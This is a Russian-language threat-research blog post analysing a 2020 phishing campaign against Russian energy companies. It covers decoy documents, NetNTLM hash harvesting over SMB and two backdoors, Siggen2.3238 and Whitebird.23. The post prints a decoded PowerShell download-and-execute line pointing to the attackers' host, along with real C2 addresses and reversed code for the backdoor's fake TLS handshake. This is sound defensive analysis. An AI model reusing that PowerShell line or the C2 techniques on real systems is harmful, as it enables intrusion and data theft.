Расследуем целевую шпионскую атаку на российский ТЭК

3isugm2c8td41_ydtcw2zuz4-cm.png

Наш опыт расследования инцидентов в сфере компьютерной безопасности показывает, что электронная почта по-прежнему является одним из самых распространенных каналов, используемых злоумышленниками для первичного проникновения в атакуемые сетевые инфраструктуры. Одно неосмотрительное действие с подозрительным (или не очень) письмом становится точкой входа для дальнейшего заражения, поэтому киберпреступники активно применяют методы социнженерии, пусть и с переменным успехом.

В этом посте мы хотим рассказать о нашем недавнем расследовании спам-кампании, нацеленной на ряд предприятий топливно-энергетического комплекса России. Все атаки происходили по одному сценарию с использованием поддельных электронных писем, при этом над текстовым содержанием этих писем, кажется, никто особо не старался.

Разведка


Все началось в конце апреля 2020 года, когда вирусные аналитики «Доктор Веб» зафиксировали спам-кампанию, в ходе которой сотрудникам ряда предприятий топливно-энергетического комплекса России хакеры рассылали обновленный телефонный справочник. Разумеется, это не было простым проявлением заботы, так как справочник был ненастоящий, а .docx-документы загружали два изображения с удаленных ресурсов.

Одно из них загружалось на пользовательский компьютер с сервера news[.]zannews[.]com. Примечательно, что доменное имя схоже с доменом антикоррупционного медиацентра Казахстана — zannews[.]kz. С другой стороны, используемый домен сразу напомнил о другой кампании 2015 года, известной как TOPNEWS, в которой использовался бэкдор ICEFOG, а домены управления троянами имели подстроку «news» в названиях. Другой интересной особенностью стало то, что при отправке писем различным адресатам в запросах на загрузку изображения использовались либо разные параметры запроса, либо же уникальные имена изображений.

Мы считаем, что это было сделано с целью сбора информации для определения «надежного» адресата, который в последующем в нужный момент гарантированно откроет письмо. Для загрузки изображения со второго сервера использовался протокол SMB, что могло быть сделано для сбора NetNTLM-хешей с компьютеров сотрудников, открывших полученный документ.

А вот и само письмо с фейковым справочником:

pfjqdhciishgnvlobk1utpgs3eq.png

В июне этого года хакеры начали использовать для загрузки изображений новое доменное имя — sports[.]manhajnews[.]com. Как показал анализ, субдомены manhajnews[.]com использовались в спам-рассылках как минимум с сентября 2019 года. Одной из целей в рамках этой кампании оказался крупный российский университет.

Также к июню организаторы атаки придумали новый текст для своих писем: на этот раз документ содержал информацию об отраслевом развитии. Текст письма явно указывал на то, что его автор либо не является носителем русского языка, либо намеренно создает о себе такое впечатление. К сожалению, идеи отраслевого развития, как всегда, оказались лишь прикрытием — документ вновь загружал два изображения, при этом сервер был изменен на download[.]inklingpaper[.]com.

Следующее нововведение последовало в июле. В качестве попытки обойти детектирование вредоносных документов антивирусными программами злоумышленники стали использовать документы Microsoft Word, зашифрованные при помощи пароля. Одновременно с этим атакующие решили применить классический прием социнженерии — уведомление о вознаграждении.

n71zckymmw8uarxhpc_ogdg4fdg.png

Текст обращения вновь был написан в прежнем стиле, чем вызывал дополнительные подозрения у адресата. Сервер для скачивания изображения также не менялся.

Отметим, что во всех случаях для рассылки писем использовались электронные почтовые ящики, зарегистрированные на доменах mail[.]ru и yandex[.]ru.

Атака


К началу сентября 2020 года настало время активных действий. Наши вирусные аналитики зафиксировали новую волну атак, в которой злоумышленники вновь рассылали письма под предлогом обновления телефонного справочника. Однако на этот раз вложение содержало вредоносный макрос.

При открытии приложенного документа макрос создавал два файла:

  • VBS-скрипт %APPDATA%\microsoft\windows\start menu\programs\startup\adoba.vbs, который предназначался для запуска пакетного файла;
  • сам пакетный файл %APPDATA%\configstest.bat, который был обфусцирован.


j8eqmudre7qzyhin8utlab_mpna.png

Суть его работы сводится к запуску оболочки Powershell с определенными параметрами. Параметры, передаваемые оболочке, декодируются в команды:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;


Как следует из представленных команд, домен, с которого загружается полезная нагрузка, вновь замаскирован под новостной сайт. На заражаемый компьютер доставляется простой загрузчик, единственной задачей которого является получение шелл-кода от управляющего сервера и его выполнение. Нам удалось выявить два вида бэкдоров, которые могут быть установлены на ПК жертвы.

BackDoor.Siggen2.3238


Первый из них — BackDoor.Siggen2.3238 — ранее не встречался нашим специалистам, при этом какие-либо упоминания этой программы другими антивирусными вендорами также не нашлись.

Эта программа представляет собой бэкдор, написанный на C++ и работающий в среде 32-битных ОС Windows.

BackDoor.Siggen2.3238 способен поддерживать связь с управляющим сервером по двум протоколам: HTTP и HTTPS. В исследованном образце задействован протокол HTTPS. В запросах к серверу используется следующий User-Agent:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

При этом все запросы снабжаются следующим набором параметров:

%s;type=%s;length=%s;realdata=%send

где каждая строка %s соответственно заменяется на:

  • идентификатор зараженного компьютера,
  • тип отправляемого запроса,
  • длину данных в поле realdata,
  • данные.


На стадии сбора информации об инфицированной системе бэкдор формирует строку вида:

lan=%s;cmpname=%s;username=%s;version=%s;

где lan — IP-адрес зараженного компьютера, cmpname — имя компьютера, username — имя пользователя, version — строка 0.0.4.03.

Эта информация с идентификатором sysinfo через POST-запрос отправляется на управляющий сервер, расположенный по адресу https[:]//31.214[.]157.14/log.txt. Если в ответ BackDoor.Siggen2.3238 получает сигнал HEART, соединение считается успешным, и бэкдор приступает к основному циклу общения с сервером.

Более полное описание принципов работы BackDoor.Siggen2.3238 находится в нашей вирусной библиотеке.

BackDoor.Whitebird.23


Вторая программа является модификацией уже известного нам по инциденту с государственным учреждением Казахстана бэкдора BackDoor.Whitebird. Эта версия написана на языке С++ и предназначена для работы как в 32-разрядных, так и в 64-разрядных ОС Windows.

Как и большинство программ этого типа, BackDoor.Whitebird.23 предназначен для установки зашифрованного соединения с управляющим сервером и несанкционированного управления зараженным компьютером. В скомпрометированную систему устанавливается при помощи дроппера BackDoor.Siggen2.3244.

Исследованный нами образец представлял собой вредоносную библиотеку с двумя экспортами:

  • GooglePlay,
  • Test.


В начале своей работы расшифровывает зашитую в тело бэкдора конфигурацию алгоритмом на основе XOR-операции с байтом 0×99. Конфигурация имеет вид:


struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 


Для обеспечения своей постоянной работы бэкдор меняет значение, указанное в поле working_hours конфигурации. Поле содержит 1440 байтов, которые принимают значения 0 или 1 и представляют собой каждую минуту каждого часа в сутках. Создает для каждого сетевого интерфейса отдельный поток, который прослушивает интерфейс и ищет пакеты авторизации на прокси-сервере с зараженного компьютера. При обнаружении такого пакета бэкдор вносит информацию о прокси-сервере в свой список. Кроме того, проверяет наличие прокси через WinAPI InternetQueryOptionW.

Программа проверяет текущие минуту и час и сравнивает с данными, находящимися в поле working_hours конфигурации. Если значение для соответствующей минуты суток не нулевое, то устанавливает соединение с управляющим сервером.

Установка соединения с сервером имитирует создание соединения по протоколу TLS версии 1.0 между клиентом и сервером. В теле бэкдора содержатся два буфера.

Первый буфер содержит пакет Client Hello версии TLS 1.0.

g91gmy9v4pcrb8pdm43tltj5myi.png

Второй буфер содержит TLS 1.0 пакеты Client Key Exchange с длиной ключа 0×100 байт, Change Cipher Spec, Encrypted Handshake Message.

stvdxqqmvlgjz7luucln_ewxug4.png

При отправке пакета Client Hello бэкдор записывает в поле Client Random 4 байта текущего времени и 28 байт псевдослучайных данных, вычисляемых следующим образом:


v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;


Полученный пакет отправляется на управляющий сервер. В ответе (пакет Server Hello) проверяются:

  • соответствие протокола TLS версии 1.0;
  • соответствие временной метки (первые 4 байта поля пакета Random Data), указанной клиентом, временной метке, указанной сервером;
  • совпадение первых 4 байтов после временной метки в поле Random Data у клиента и сервера.


В случае указанных соответствий бэкдор готовит пакет Client Key Exchange. Для этого он модифицирует Public Key в пакете Client Key Exchange, а также Encryption IV и Encryption Data в пакете Encrypted Handshake Message.

Затем бэкдор принимает пакет от управляющего сервера, проверяет, что версия протокола TLS соответствует 1.0, после чего принимает еще 54 байта (тело пакета). На этом установка соединения завершается.

Более полное описание принципов работы BackDoor.Whitebird.23 находится в нашей вирусной библиотеке.

Заключение и выводы


Анализ документов, вредоносных программ, а также использованной инфраструктуры позволяет нам с уверенностью сказать, что атака была подготовлена одной из китайских APT-групп. Учитывая функциональность бэкдоров, которые устанавливаются на компьютеры жертв в случае успешной атаки, заражение ведет как минимум к краже конфиденциальной информации с компьютеров атакованных организаций.

Кроме того, весьма вероятным сценарием является установка специализированных троянов на локальные серверы с особой функцией. Это могут быть контроллеры домена, почтовые серверы, интернет-шлюзы и т. п. Как мы могли наблюдать на примере инцидента в Казахстане, такие серверы по различным причинам представляют особый интерес для злоумышленников.

© Habrahabr.ru